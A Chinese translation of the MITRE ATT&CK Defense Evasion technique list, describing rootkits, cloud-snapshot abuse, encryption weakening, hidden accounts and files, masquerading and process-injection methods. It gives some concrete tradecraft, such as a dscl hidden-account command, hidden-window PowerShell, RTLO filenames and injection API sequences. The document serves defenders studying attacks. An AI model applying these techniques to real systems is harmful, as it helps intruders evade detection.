Att&ck框架_防御规避

ID 名称 描述
T1006 直接访问逻辑卷 Windows允许程序直接访问逻辑卷。具有直接访问权限的程序可以通过分析文件系统数据结构直接从驱动器读取和写入文件。此技术可以绕过Windows文件访问控制以及文件系统监测工具。NinjaCopy之类的工具,可以在PowerShell中执行这些操作。
T1014 Rootkit 攻击者可能使用rootkit来隐藏程序,文件,网络连接,服务,驱动程序和其他系统组件的存在。Rootkit是通过拦截、钩住和修改提供系统信息的操作系统API调用来隐藏恶意软件存在的程序。rootkit或rootkit启用功能可能驻留在操作系统的用户或内核级别或更低的级别,包括管理程序、主引导记录或系统固件。rootkit已经被用于Windows、Linux和Mac OS X系统。
T1578 修改云计算基础架构 攻击者可能尝试去修改云账户计算机服务基础结构以规避防御。对计算机服务基础结构的修改包括创建、删除或者修改一个或多个组件,例如计算机实例、虚拟机和快照。从修改基础结构组件获得的权限可能会绕过阻止访问现有基础结构的限制,修改基础结构组件可能使攻击者逃避检测并删除攻击者攻击时留下的痕迹。
T1578.004 修改云计算基础架构:恢复云实例 攻击者可能会在其执行完恶意活动后还原对云实例所做的更改,以逃避检测并删除其入侵痕迹,在高度虚拟化环境中(如基于云的基础架构),可以通过云管理仪表盘或云API恢复虚拟机(VM)或数据存储快照来实现。该技术的另外一种变化是利用附加到计算实例的临时存储,大多数云提供商都会提供各种类型的存储,包括持久性存储、本地存储和临时存储,其中临时存储类型通常在VM停止或重启时被重置。
T1578.003 修改云计算基础架构:删除云实例 攻击者可能在其执行执行完恶意活动后删除云实例以躲避检测和删除入侵痕迹。如果实例不可恢复,则删除实例或虚拟机可以删除有价值的取证工件或其它可疑行为的证据。攻击者可以创建云实例,并在达成其目标后终止该实例。
T1578.002 修改云计算基础架构:创建云实例 攻击者可以在云账户计算服务内创建新实例或虚拟机(VM)以逃避防御检测,创建新实例可允许攻击者绕过存在于当前账户实例上的防火墙规则和权限,攻击者可能创建一个账户中一个或多个卷的快照,创建新实例,安装快照,然后应用限制较少的安全策略从本地系统或远程数据工作台收集数据。创建新实例可以允许攻击者在环境中执行恶意活动,而不影响当前正在运行的实例。
T1578.001 修改云计算基础架构:创建快照 攻击者可能在云账户中创建快照或数据备份以逃避检测。快照是现有云计算机组件(例如虚拟机VM、虚拟硬盘驱动器或卷)的时间点副本,攻击者利用权限来创建快照,以绕过阻止访问现有计算机服务基础就够的限制,这与恢复云实例中攻击者还原快照以逃避检测并删除痕迹不同。攻击者可以创建云实例,将一个或多个创建的快照安装到该实例中,然后应用允许攻击者访问所创建实例的策略,例如:防火墙策略中允许攻击者通过SSH进行入站和出站。
T1600 弱化加密 为绕过数据在通信中的加密传输,攻击者可能会对网络设备的加密能力进行破坏。加密可用于保护传输的网络流量,以保持其机密性(防止未经授权的泄露)和完整性(防止未经授权的更改)。加密密码用于将明文消息转换为密文,并且在不使用相关解密密钥的情况下进行解密。通常,较长的密钥会增加密码分析但不使用密钥进行解密。攻击者入侵网络传输加密设备后,会对加密设备的加密方式进行修改。如,攻击者通过诸如修改系统映像、缩小密钥空间和禁用加密硬件等行为,用于降低或禁用设备安全加的能力,来获取更大的未经授权的泄露,也有助于攻击者进行数据操作、凭证访问或收集工作。
T1600.001 弱化加密:缩小秘钥空间 攻击者通过降低加密强度来减少解密加密的传输数据难度。攻击者通过减少秘钥长度(如从几百或几千的加密秘钥的字节减少到几个字节),降低加密软件对明文的加密。从而攻击者可在无秘钥的情况下以较低难度对加密进行进行解密。攻击者也可通过网络设备中的专有命令来修改加密程序或加密配置,从而缩小加密空间
T1600.002 弱化加密:禁用加密硬件 攻击者为减少在收集信息、篡改数据、盗取泄密信息的难度,可直接禁用专用的加密设备。为确保网络传输数据的安全,许多网络设备(如路由器、交换机、防火墙)都配备了专用的加密硬件来防止加密速度过慢或篡改的校验。当攻击者入侵到这些网络设备后,可能会直接禁用专用的加密硬件,如,修改加密的映像程序,使加密失效。通常也通过该技术降低加密的复杂度(如,缩小秘钥空间)
T1564 隐藏痕迹 攻击者通过隐藏与其攻击行为相关痕迹的方式来达到逃避检测的目的。为了避免破坏用户的工作环境和防止用户修改系统上的一些文件和功能,操作系统默认配置了一些具有隐藏各种痕迹的功能,例如:重要系统文件和管理任务的执行。攻击者可能采用这些隐藏痕迹的方式,去躲避检测,如:攻击者会隐藏一些恶意文件、攻击者账户(即隐藏攻击者自己创建的账户)等。攻击者还会试图通过安全工具创建计算机隔离区(如通过使用虚拟化技术),以此来隐藏和恶意行为相关的痕迹。
T1564.008 隐藏痕迹:Email Hiding Rules 攻击者可能使用电子邮件规则来隐藏受感染用户邮箱中的入站邮件。许多邮件客户端允许用户为各种邮件功能创建收件箱规则,包括将邮件移动到其他文件夹、将邮件标记为已读或删除邮件。可以在邮件客户端内或通过外部功能(如Windows系统上的New-InboxRule或Set-InboxRule PowerShell cmdlet)创建或修改规则。攻击者可能利用受感染用户邮箱中的电子邮件规则来删除和/或移动邮件到不太引人注意的文件夹。攻击者可能这样做以隐藏安全警报、C2通信或从受感染账户发送的内部钓鱼邮件的响应。组织内的任何用户或管理员(或具有有效凭据的攻击者)都可能能够创建规则来自动移动或删除电子邮件。这些规则可被滥用以削弱/延迟检测,如果电子邮件内容立即被用户或防御者看到的话。恶意规则通常根据邮件正文和主题行中的关键词(如恶意软件、可疑、网络钓鱼和黑客)过滤掉电子邮件。
T1564.002 隐藏痕迹:账户隐藏 攻击者通过创建隐藏账户以隐藏自己,在macOS中,每个账户都有一个与之相关的userID,当创建一个账户时,可以指定该账户的userID。在/Library/Preferences/com.apple.loginwindow中有一个名为Hide500Users的属性,可用于禁止用户ID为500及500以下的账户名出现在登录窗口中。当创建用户ID小于500的用户(例如:sudo dscl . -create /Users/username UniqueID 401),并启用该属性(设置为Yes),攻击者就将一个账户设置为隐藏账户。在Windows中,隐藏账户的账户名以“$”结尾。
T1564.009 隐藏痕迹:Resource Forking 攻击者可能滥用资源分支来隐藏恶意代码或可执行文件,以逃避检测并绕过安全应用程序。资源分支为应用程序提供了一种结构化的方式来存储资源,如缩略图、菜单定义、图标、对话框和代码。使用ls -l@或xattr -l命令显示文件的扩展属性时,可以识别资源分支的使用。资源分支已被弃用,并被应用程序捆绑结构所取代。非本地化资源放置在应用程序捆绑包的顶层目录,而本地化资源放置在/Resources文件夹中。攻击者可以使用资源分支来隐藏可能直接存储在文件中的恶意数据。攻击者可以执行带有附加资源分支的内容,在指定的偏移量处,将其移动到可执行位置然后调用。资源分支内容也可能在执行前被混淆/加密。
T1564.006 隐藏痕迹:运行虚拟实例 攻击者可能使用虚拟实例执行恶意操作以躲避检测。存在各种各样的虚拟化技术,其可以模拟计算机或者计算机环境,通过在虚拟实例内部运行恶意代码,攻击者可以躲避无法监检测虚拟实例内部状态的安全工具的检测。此外,依靠虚拟网络技术(如:桥接模式的适配器),IP地址和主机名可能是不匹配且是未知的,此时,依靠虚拟化产生的网络流量是难以追溯到受感染的主机。攻击者可以利用对虚拟化的本机支持(如:Hyper-V)或删除运行虚拟实例所需的文件(如:VirtualBox的二进制文件)。运行虚拟实例后,攻击者可能会在来宾账户和主机之间创建一个共享文件夹,且具有虚拟实例与主机文件系统进行交互的权限。
T1564.007 隐藏痕迹:重写VBA源码 攻击者可以通过将VBA代码替换为正常数据,从而达到隐藏MS Office文档中嵌入的恶意VBA载荷。带有嵌入式VBA内容的MS Office文件将源代码存储到模块流中,每一个模块流中都有一个PerformanceCache,用于存储一个单独完成的VBA源码的编译版本,将其称为p-code,当_VBA_PROJECT流(其中包含VBA程序版本的相关描述信息)中指定的MS Office版本与主机MS Office程序版本相匹配的时候,p-code将被执行。攻击者可以使用零、正常代码或随机字节去重写位于VBA源代码处的代码,同时保留之前编译的恶意p-code,以此来隐藏恶意VBA代码。由于一些代码已经被隐藏在p-code中,因此可以绕过一些扫描恶意VBA源码的工具,绕过删除VBA源码,有些工具甚至认为不存在宏,此时如果_VBA_PROJECT流和主机MS Office的版本相匹配,则将直接执行p-code,否则会将正常非恶意的VBA源码解压缩并重新编译为p-code,从而删除恶意p-code,绕过监测分析。
T1564.003 隐藏痕迹:隐藏窗口 攻击者可以使用隐藏窗口的方式运行恶意程序,以达到躲避用户监测的目的。在某些情况下,可以将应用程序在执行时显示的窗口进行隐藏,管理员采用这种方式来避免程序在运行时对用户操作环境的影响。在Windows环境中,很多脚本语言都可以做到隐藏窗口的作用,例如;PowerShell、Jscrip和Visual Basic,一个示例就是 powershell.exe -WindowStyle Hidden。同样,在macOS系统上,属性列表文件(plist文件)列出了应用程序运行时的配置,这些文件有个标志是apple.awt.UIElement,可以用来使运行程序的图标不显示在任务栏(Dock)中,常见的应用场景是:当应用程序在系统中运行,但不想让其在Dock中显示。攻击者会利用这些方式,去隐藏一些窗口,以免被正常用户发现攻击者的攻击行为。
T1564.005 隐藏痕迹:隐藏的文件系统 攻击者可能使用隐藏的文件系统去隐藏对用户和安全工具而言的恶意行为。文件系统提供了一种用于存储和访问物理存储中数据的结构。通常,用户通过一个允许他们可以访问文件和目录的应用程序去与文件系统进行交互,这些文件和目录是其所在物理位置(例如:磁盘扇区)的抽象表述。标准的文件系统有:FAT、NTFS、EXT4和APFS,文件系统有一些其它的结构,如NTFS中包含卷启动记录(VBR)和主文件表(MFT)。攻击者可以在受感染主机上标准文件系统中的抽象文件系统上使用自己的抽象文件系统,此时,攻击者可以隐藏恶意的组件的存在以及隐藏来自安全工具的文件输入/输出,隐藏的文件系统(有时也称为虚拟文件系统)可以通过多种方式来实现:(1)将文件系统存储在磁盘结构或标准文件系统分区未使用的磁盘保留空间;(2)攻击者可以将自己的可移植分区映像作为文件放在标准文件系统之上;(3)攻击者还可以以非标准方式将文件分散在现有文件系统结构中。
T1564.001 隐藏痕迹:文件和目录隐藏 攻击者可能通过创建一些隐藏文件或隐藏文件夹来达到躲避检测的目的。为了防止正常用户意外修改系统上的特殊文件,大多数系统文件都会被隐藏起来,此时,用户以图形化界面浏览或使用常规命令查看(如在Linux或macOS系统中执行ls,在Windows中执行dir),这些文件都不会显示出来。在Linux和MAC系统中,用户可以创建以“.”开头的文件名的文件或文件夹,在默认情况下,这些文件或文件夹在Finder应用程序和执行标准命令(如:ls)时,都会被隐藏。用户必须通过一些特殊的配置才可看见这些文件或文件夹(如执行ls -la命令)。在macOS上的文件也可以通过使用UF_HIDDEN标志以防止在Finder.app中被发现。在Windows系统中,用户可以使用attrib.exe二进制文件创建异常文件。为了使用户的工作空间整理,很多应用程序都会创建一些隐藏文件和文件夹,例如:SSH应用会创建一个名字为.ssh的隐藏文件夹,里面包含用户的公钥和秘钥。攻击者使用这些方式可以隐藏系统上任何位置的文件和文件夹,以此来逃避检测(该检测方式是不对隐藏文件进行检测)。
T1564.004 隐藏痕迹:NTFS文件属性 攻击者可以会使用NTFS文件属性来隐藏其恶意数据,从而躲避检测。NTFS格式包括一个主文件表(MFT),MFT用于维护分区上每个文件/目录的记录。MFT有一些属性,如扩展属性(EA)和数据(当存在多个数据属性是称为备用数据流-ADSs),可用于存储任意数据(甚至是完整的文件)。攻击者可能会将恶意的数据或二进制文件存储在文件属性元数据中,而不是将其直接存储到文件中,以此方式来躲避一些检测,如静态指示扫描工具和防病毒软件。
T1564.010 隐藏痕迹:Process Argument Spoofing 攻击者可能尝试通过覆盖进程内存来隐藏进程命令行参数。进程命令行参数存储在进程环境块(PEB)中,这是Windows用于存储进程各种相关信息的数据结构。PEB包括进程执行时引用的命令行参数。创建进程时,监控进程创建的防御工具/传感器可能会从PEB中检索进程参数。攻击者可能操纵进程PEB以规避防御。例如,可以滥用进程掏空(Process Hollowing)来以挂起状态生成具有良性参数的进程。在进程生成且PEB初始化后(工具/传感器可能记录进程信息),攻击者可能覆盖PEB以修改命令行参数(例如,使用原生API WriteProcessMemory()函数),然后使用恶意参数恢复进程执行。攻击者还可能使用恶意命令行参数执行进程,然后用良性参数修补内存,这可能绕过后续的进程内存分析。此行为还可能与其他技巧(如父PID欺骗)结合使用,以操纵或进一步规避基于进程的检测。
T1202 间接命令执行 攻击者可以利用允许命令执行的程序,通过绕过命令执行解析器的限制,可以达到命令执行的效果。各种Windows程序可用于执行命令,且可能无需调用cmd,例如:Forfiles、程序兼容性助手(pcalua.exe)、Linux Windows子系统(WSL)的组件以及其它实用程序可以通过命令和脚本解释器,运行窗口或通过脚本调用程序执行命令。攻击者可能利用这些特点去进行规避防御,特别是为了执行恶意命令而去破坏用于限制或阻止cmd使用的检测或缓解措施(如组策略)时。
T1140 反混淆/解码文件或者信息 攻击者可能会使用混淆文件或信息来隐藏入侵的分析结果。他们可能需要独特的机制来解码或反混淆处理该信息,具体取决于他们怎么使用这些处理的数据。这种方法可以使用在内置恶意软件功能或使用系统上存在的实用程序上。
T1036 伪装 攻击者可能试图去操作他们工件的特点,以使其对用户和安全工具而言显的合法与正常。伪装是指攻击者为了逃避防御与观察而操作合法或恶意对象的名称和位置,这或许包括处理文件元数据、诱使用户修改文件类型以及提供合法的任务或服务名称。重命名系统工具可以用于逃避安全监测,是伪装的一种形式。
T1036.007 伪装:双文件扩展名 攻击者可能滥用文件名中的双扩展名作为伪装真实文件类型的手段。文件名可能包含次要文件类型扩展名,这可能导致仅显示第一个扩展名(例如:File.txt.exe在某些视图中可能仅显示为File.txt)。然而,第二个扩展名是决定文件如何打开和执行的真实文件类型。操作系统可能在文件浏览器(如explorer.exe)中隐藏真实文件扩展名,以及在任何使用或类似于系统策略配置的软件中。攻击者可能滥用双扩展名试图隐藏有效载荷的危险文件类型。一种非常常见的用法是诱使用户打开他们认为是良性文件类型但实际上是可执行代码的文件。此类文件通常伪装成电子邮件附件,允许攻击者通过鱼叉钓鱼附件和用户执行获得对用户系统的初始访问。例如,名为Evil.txt.exe的可执行文件附件可能向用户显示为Evil.txt。然后用户可能将其视为良性文本文件并打开它,无意中执行隐藏的恶意软件。常见的文件类型(如文本文件.txt、.doc等和图像文件.jpg、.gif等)通常用作第一个扩展名以显得良性。通常被视为危险的可执行扩展名(如.exe、.lnk、.hta和.scr)常作为第二个扩展名和真实文件类型出现。
T1036.005 伪装:匹配合法名称或位置 当命名/放置文件时,攻击者可能会匹配或与合法文件近似的名称和位置,这样做的目的是为了躲避防御和观察。可以将可执行文件放置在通常信任的目录文件中(如System32)或为其指定一个合法的可信程序的名称(如svchost.exe)。或者,给出的文件名字与合法程序非常相似且无害。攻击者也可以使用与他们想模仿文件相同的图标。
T1036.002 伪装:从右向左覆写 攻击者可能使用从右向左覆写(RTLO或RLO)技术的字符(U+202E)以欺骗用于执行他们认为是正常类型的文件但实际上是可执行文件。RTLO是非打印字符,导致其后的文本反向显示,如:一个名为March 25 \u202Excod.scr的Windows屏幕保护可执行文件显示为March 25 rcs.docx,一个名为photo_high_re\u202Egnp.js的JavaScript脚本将展示为photo_high_resj.png。此技术常见的用途是与鱼叉钓鱼的附件/恶意文件相结合,因为如果用户和防御方不知道其工具如何显示和呈现RTLO字符,就可以达到欺骗用户和防御方的目的。许多针对性的入侵尝试和犯罪活动中都可以看到RTLO字符的使用,RTLO字符也可以用在Windows注册表中,其中regedit.exe将显示反向字符,但是命令行工具reg.exe默认不会显示。
T1036.004 伪装任务或服务 攻击者可能试图操作任务或服务的名字以使其看起来是合法的正常的,由任务计划表或systemd执行的任务/服务通常会赋予名称和描述,Windows服务将有一个服务名称作为展示名称,存在一些具有共同关联名称的正常任务和服务,攻击者可能会给任务或服务指定与合法名称相同或相似的名称。任务或服务包含其它字段,如描述,攻击者可以尝试使其显得合法。
T1036.001 伪装:无效的代码签名 攻击者可能模仿代码签名的功能,以增加欺骗用户、分析师和工具的概率,代码签名为开发者提供的二进制文件提供了真实性,并确保二进制文件没有被篡改。攻击者可以从一个已签名的程序中复制元数据和签名信息,然后将其作用域未签名的程序,具有无效代码签名的文件将无法通过数字前面的校验,但对于用户和无法处理这些文件的安全工具而言,这些文件是合法文件。与代码签名不同,无效代码签名不会产生有效的签名。
T1036.003 伪装:重命名系统实用程序 攻击者可能会重命名合法的系统实用程序,以规避与这些程序使用相关的安全机制的检测,可能存在攻击者可以使用的系统实用程序以利用这些安全监控和控制机制,可以通过使用重命名的程序来绕过与系统使用程序相关的安全机制(例如:重命名rundll32.exe),还有一种情况是,将合法的实用程序复制或移动到其它目录并重命名以避免基于从非标准路径执行的系统实用程序的检测。
T1036.006 伪装:文件名后有空格 攻击者可能通过更改文件扩展名来隐藏程序的真实文件类型,对于某些文件类型(特别是不适用于.app扩展名的文件类型),在文件末尾添加空格将会改变操作系统处理该文件的方式。举个例子,如果存在一个名为evil.bin的 Mach-O可执行文件,当用户双击改文件的时候,它将启用Terminal.app并执行。如果将此文件重命名为evil.txt,则其将默认使用文本编辑器(不执行二进制文件),但是,如果将文件重命名为evil.txt (请注意末尾的空格),则当用户双击改文件时,真正的文件类型由操作系统决定,并进行适当的处理,然后执行二进制文件。攻击者可能利用此功能诱骗用户双击任何格式的正常文件,并最终执行恶意程序。
T1055 进程注入 攻击者可以将恶意代码注入到进程中,来逃避基于进程或提升权限的防御。进程注入是一种在独立活动进程的地址空间中执行任意代码的方法,在另一个进程的上下文中运行代码可以允许访问该进程的内存、系统/网络资源以及可能提升的特权。通过进程注入也可以逃避安全产品的检测,因为执行代码隐藏在合法的进程之下。有许多不同的方法可以将代码注入到进程中,其中许多方法滥用了合法的功能,这些实现适用于每个主要的操作系统,但通常是针对特定平台。更复杂的攻击使用命名管道或其它进程间通信(IPC)机制作为通信通道,执行多个进程注入来分割模块,以逃避检测。
T1055.011 进程注入:额外的窗口内存注入 攻击者可以通过额外的窗口内存(EWM)将恶意代码注入到进程中,来逃避基于进程或提升权限的防御。EWM注入是一种在单独的活动进程的地址空间中执行任意代码的方法。在创建窗口之前,基于Windows的图形化进程必须指定或注册一个规定外观和行为的Windows类(通过Windows过程,它是处理数据输入/输出的函数)。新Windows类的注册可以包括对最多40字节EWM的请求,该请求将追加到该类的每个实例所分配的内存中。该EWM旨在存储特定于该窗口的数据,并具有特定的应用程序编程接口(API)函数来设置和获取其值。尽管很小,但EWM足够大,可以存储一个32位指针,并且经常用于指向Windows过程。恶意软件可能利用这个内存位置作为攻击链的一部分,包括向进程内存的共享部分写入代码,在EWM中放置一个指向代码的指针,然后通过将执行控制返回到进程EWM中的地址来调用执行。通过EWM注入授予的执行操作可能会同时访问目标进程的内存并获取可能的特权。向共享部分写入有效负载也避免了使用高度监测的API调用,如WriteProcessMemory和CreateRemoteThread。更复杂的恶意软件样本还可能绕过保护机制,如数据执行预防(DEP),通过触发Windows程序和其它系统函数的组合,重写恶意有效载荷在目标进程中的可执行部分。在另一个进程的上下文中运行代码可能允许访问该进程的内存、系统/网络资源,以及可能提高权限。通过EWM注入的执行也可能逃避安全产品的检测,因为执行操作隐藏在合法的进程之下。
T1055.003 进程注入:线程执行劫持 攻击者可能将恶意代码注入到被劫持的进程中,来逃避基于进程或提升权限的防御。线程执行劫持是一种在单独的活动进程的地址空间中执行任意代码的方法。线程执行劫持通常是这样执行的:挂起现有进程取消其内存映射/设置,然后可以用恶意代码或DLL路径替换。首先使用原生Windows API调用(如OpenThread)创建现有受害进程的句柄,此时进程可以挂起,然后写入注入的代码,分别通过SuspendThread, VirtualAllocEx, WriteProcessMemory, SetThreadContext恢复,然后通过ResumeThread分开。这与进程挖空非常类似,但目标是一个现有的进程,而不是创建一个处于挂起状态的进程。在另一个进程的上下文中运行代码可能会允许访问该进程的内存,系统/网络资源以及可能的特权提升。通过线程执行劫持执行还可逃避安全产品的检测,因为执行隐藏在合法的进程之下。
T1055.013 进程注入:进程Doppelgänging 攻击者可以通过进程Doppelgänging将恶意代码注入到进程中,来逃避基于进程或提升权限的防御。进程Doppelgänging是一种在单独的活动进程的地址空间中执行任意代码的方法。Windows事务性NTFS (TxF)通过引入Vista,作为一种方法来执行安全文件。为了确保数据完整性,TxF在给定时间只允许一个事务句柄写入文件。在写句柄事务终止之前,所有其它句柄都与写入者隔离,并且只能读取打开该句柄时存在的提交版本。为了避免损坏,如果系统或应用程序在写事务期间失败,TxF将自动执行回滚。虽然已弃用,TxF应用程序编程接口(API)仍然在Windows 10中启用。攻击者可能会滥用TxF来执行无文件的进程注入变体,与进程挖空类似,进程doppelgänging涉及到替换合法进程的内存,从而允许隐藏的恶意代码执行,因此可能逃避防御和检测。进程doppelgänging对TxF的使用也避免了使用高度监控的API函数,如NtUnmapViewOfSection、VirtualProtectEx和SetThreadContext。进程Doppelgänging的执行分为4个步骤:1.事务处理–使用合法的可执行文件创建TxF事务,然后使用恶意代码覆盖文件。这些更改将被隔离,并且仅在事务上下文中可见。2.加载–创建内存的共享部分并加载恶意可执行文件。3.回滚–撤消对原始可执行文件的更改,有效地从文件系统中删除恶意代码。4.动画–从内存的污染部分创建一个进程并启动执行。这种行为可能不会导致特权的提升,因为注入的进程是从注入的进程派生出来的(继承了安全上下文)。然而,通过进程doppelgänging执行可能会逃避安全产品的检测,因为执行操作隐藏在合法的进程之下。
T1055.004 进程注入:异步过程调用 攻击者可以通过异步过程调用(APC)队列将恶意代码注入到进程中,来逃避基于进程或提升权限的防御。APC注入是一种在单独的活动进程的地址空间中执行任意代码的方法。APC注入通常是通过将恶意代码附加到进程的线程APC队列来执行的,APC函数在线程进入可变状态时执行,首先使用原生WindowsAPI调用(如OpenThread)创建受害进程的句柄,此时,可以使用QueueUserAPC调用函数(例如指向恶意DLL的LoadLibrayA)。APC注入是一个变种,被称为“Early Bird注入”,涉及到创建一个挂起的进程,恶意代码可以通过APC在进程的入口点(以及潜在的后续反恶意软件钩子)之前编写和执行。atombomb是另一个变种,它利用APCs来调用以前写入到全局atom表中的恶意代码。在另一个进程的上下文中运行代码可能允许访问该进程的内存、系统/网络资源,以及可能提高权限。通过APC注入的执行也可能逃避安全产品的检测,因为执行操作隐藏在合法的进程之下。
T1055.002 进程注入:便携式可执行注入 攻击者可以将可移植的可执行文件(PE)注入到进程中,来逃避基于进程或提升权限的防御。PE注入是一种在单独的活动进程的地址空间中执行任意代码的方法。PE注入一般通过新线程调用代码之前将代码(可能没有磁盘上的文件)复制到目标进程的虚拟地址空间中来执行。可以使用本机Windows API调用(例如VirtualAllocEx和)执行写入WriteProcessMemory,然后使用CreateRemoteThread或其它代码(例如:shellcode)进行调用。注入代码的置换确实引入了对重新映射内存引用功能的附加要求。在另一个进程的上下文中运行代码可能会允许访问该进程的内存、系统/网络资源以及可能的特权提升。通过PE注入执行还可能会避开安全产品的检测,因为执行操作隐藏在合法的进程之下。
T1055.014 进程注入:VDSO劫持 攻击者可能通过VDSO劫持将恶意代码注入到进程中,来逃避基于进程或提升权限的防御。虚拟动态共享对象(vdso)劫持是一种在单独的活动进程的地址空间中执行任意代码的方法。VDSO劫持将调用重定向到动态链接的共享库,内存保护可能会阻止通过Ptrace系统调用向进程写入可执行代码。然而,攻击者可能会从VDSO劫持共享对象映射到进程的syscall接口代码存根,以执行syscall来打开和映射恶意共享对象,进而可以通过存储在进程的全局偏移表(存储映射的库函数的绝对地址)中的修补内存地址引用以重定向进程的执行流,从而调用此代码。在另一个进程的上下文中运行代码可能允许访问该进程的内存、系统/网络资源,以及可能提升权限。通过VDSO劫持执行也可以逃避安全产品的检测,因为因为执行操作隐藏在合法的进程之下。
T1055.012 进程注入:进程挖空 攻击者可能将恶意代码注入已暂停和挖空的进程中,来逃避基于进程或提升权限的防御。进程挖空是一种在独立活动进程的地址空间中执行任意代码的方法。进程挖空通常是通过创建一个处于挂起状态的进程,解除它的内存映射/挖空,然后可以用恶意代码替换它。可以使用本机Windows API调用创建受害进程(例如CreateProcess),该调用包括用于挂起进程主线程的标志。在这一点上,进程可以在被写入之前使用的API调用,如ZwUnmapViewOfSection或NtUnmapViewOfSection,进而取消映射,重新调整到注入的代码,并通过VirtualAllocEx, WriteProcessMemory, SetThreadContext恢复,然后通过ResumeThread分开。这与线程本地存储非常相似,不同的是它创建一个新进程而不是针对现有进程。这种行为可能不会导致特权提升,因为注入是从注入的进程派生出来的(继承了安全上下文)。通过进程挖空执行也可能逃避安全产品的检测,因为执行操作隐藏在合法的进程之下。
T1055.009 进程注入:Proc内存 攻击者可能会通过 proc文件系统将恶意代码注入到进程中,来逃避基于进程或提升权限的防御。Proc内存注入是一种在独立活动进程的地址空间中执行任意代码的方法。Proc内存注入包括通过Proc文件系统(/proc/[pid])枚举进程的内存,然后使用可用的小工具/指令编制面向返回的编程(ROP)有效负载。每个正在运行的进程都有自己的目录,其中包括内存映射。Proc内存注入通常通过使用Proc文件系统提供的内存映射覆盖目标进程堆栈来执行。该信息可用于枚举偏移量(包括堆栈)和小工具(或程序中用于构建恶意有效负载的指令),否则会被进程内存保护(如地址空间布局随机化)所隐藏。一旦枚举,目标进程中的内存映射/proc/[pid]/maps就可以使用dd覆盖。其他技术(如LD_PRELOAD)可以利用更多可用的工具填充目标进程。与进程挖空类似,proc内存注入可以针对子进程(比如一个后台的sleep副本)。在另一个进程的上下文中运行代码可能允许访问该进程的内存、系统/网络资源,以及可能提高的权限。通过proc内存注入的执行也可以逃避安全产品的检测,因为因为执行隐藏在合法的进程之下。
T1055.005 进程注入:线程本地存储 攻击者可能通过线程本地存储(TLS)回调将恶意代码注入到进程中,来逃避基于进程或提升权限的防御。TLS回调注入是一种在单独的活动进程的地址空间中执行任意代码的方法。TLS回调注入涉及操作可移植可执行文件(PE)中的指针,在到达代码的合法入口点之前将进程重定向到恶意代码。TLS回调通常被操作系统用来设置或清理线程使用的数据。可以通过使用其它进程注入技术(如进程挖空),在进程内存空间中分配和写入特定的偏移量来执行对TLS回调的操作。在另一个进程的上下文中运行代码可能允许访问该进程的内存、系统/网络资源,以及可能提高权限。通过TLS回调注入的执行也可以逃避安全产品的检测,因为执行操作隐藏在合法的进程之下。
T1055.008 进程注入:Ptrace系统调用 攻击者可能会通过Ptrace(进程跟踪)系统调用将恶意代码注入到进程中,来逃避基于进程或提升权限的防御。Ptrace系统调用注入是一种在单独的活动进程的地址空间中执行任意代码的方法。Ptrace系统调用注入涉及附加并修改正在运行的进程,通过Ptrace系统调用,调试进程可以观察和控制另一个进程(以及每个单独的线程),包括更改内存和寄存器值。Ptrace系统调用注入通常通过将任意代码写入正在运行的进程(例如: malloc),然后使用PTRACE_SETREGS调用该内存来设置包含下一条要执行的指令的寄存器来执行。Ptrace系统调用注入也可以通过PTRACE_POKETEXT/PTRACE_POKEDATA完成,它将数据复制到目标进程内存中的特定地址(例如:下一条指令的当前地址)。Ptrace系统调用注入可能无法针对具有高权限的进程,在某些系统上,这些进程是非子进程。在另一个进程的上下文中运行代码可能允许访问该进程的内存、系统/网络资源,以及可能提高权限。通过Ptrace系统调用注入执行也可以逃避安全产品的检测,因为执行操作隐藏在合法的进程之下。
T1055.015 进程注入:列表种植 攻击者可能滥用列表视图控件将恶意代码注入劫持的进程,以逃避基于进程的防御并可能提升权限。列表种植是一种在单独活动进程的地址空间中执行任意代码的方法。通过列表种植执行的代码也可能逃避安全产品的检测,因为执行被掩盖在合法进程之下。列表视图控件是用于显示项目集合的用户界面对话框。应用程序的列表视图设置信息存储在进程内存中的SysListView32控件内。列表种植(一种消息传递”粉碎攻击”)可通过将代码复制到使用列表视图控件的进程的虚拟地址空间,然后将该代码用作排序列表项的自定义回调来执行。攻击者必须首先将代码复制到目标进程的内存空间,这可以通过多种方式执行,包括直接获取受害者进程窗口的SysListView32子窗口的句柄(通过Windows API调用如FindWindow和/或EnumWindows)或其他进程注入方法。列表种植的某些变体可能在目标进程中分配内存,但随后使用窗口消息复制有效载荷,以避免使用受到高度监控的WriteProcessMemory函数。例如,攻击者可以使用PostMessage和/或SendMessage API函数发送LVM_SETITEMPOSITION和LVM_GETITEMPOSITION消息,有效地将有效载荷每次2字节复制到分配的内存中。最后,通过向进程窗口的SysListView32子窗口发送LVM_SORTITEMS消息来触发有效载荷,新分配的缓冲区中的有效载荷作为ListView_SortItems回调函数传递并执行。
T1055.001 进程注入:动态链接库注入 攻击者可以将动态链接库(DLL)注入到进程中,来逃避基于进程或提升权限的防御。DLL注入是一种在单独的活动进程的地址空间中执行任意代码的方法。DLL注入通常在调用新线程加载DLL之前,在目标进程的虚拟地址空间中写入DLL的路径来执行。可以使用本机Windows API调用(例如VirtualAllocEx和)执行写入WriteProcessMemory,然后进行调用CreateRemoteThread(调用负责加载DLL的API-LoadLibrary)。这种注入方法有多种形式,例如反射性DLL注入(将自映射DLL写入进程)和内存模块(在写入进程时映射DLL),克服了地址重定位问题以及调用执行的其它API(这些方法会通过手动执行LoadLibrary加载)功能来执行内存中的文件。在另一个进程的上下文中运行代码可能会允许访问该进程的内存、系统/网络资源以及可能的特权提升。通过DLL注入执行还可以避开安全产品的检测,因为执行操作隐藏在合法的进程之下。
T1205 端口试探 攻击者可能使用流量信令来隐藏开放端口或其他用于持久性或C&C的恶意功能。流量信令涉及必须使用能够触发系统特殊响应的魔法值(magic value)或序列值,例如打开封闭端口或执行恶意任务。在打开端口之前,发送一系列具有某些特征的数据包,序列包发送完成后,可以通过基于主机的防火墙或定制软件来打开端口。攻击者可以与已经打开的端口进行通信,但是侦听该端口的服务仅在传递了适当的魔法值后才响应命令或触发其他恶意功能。
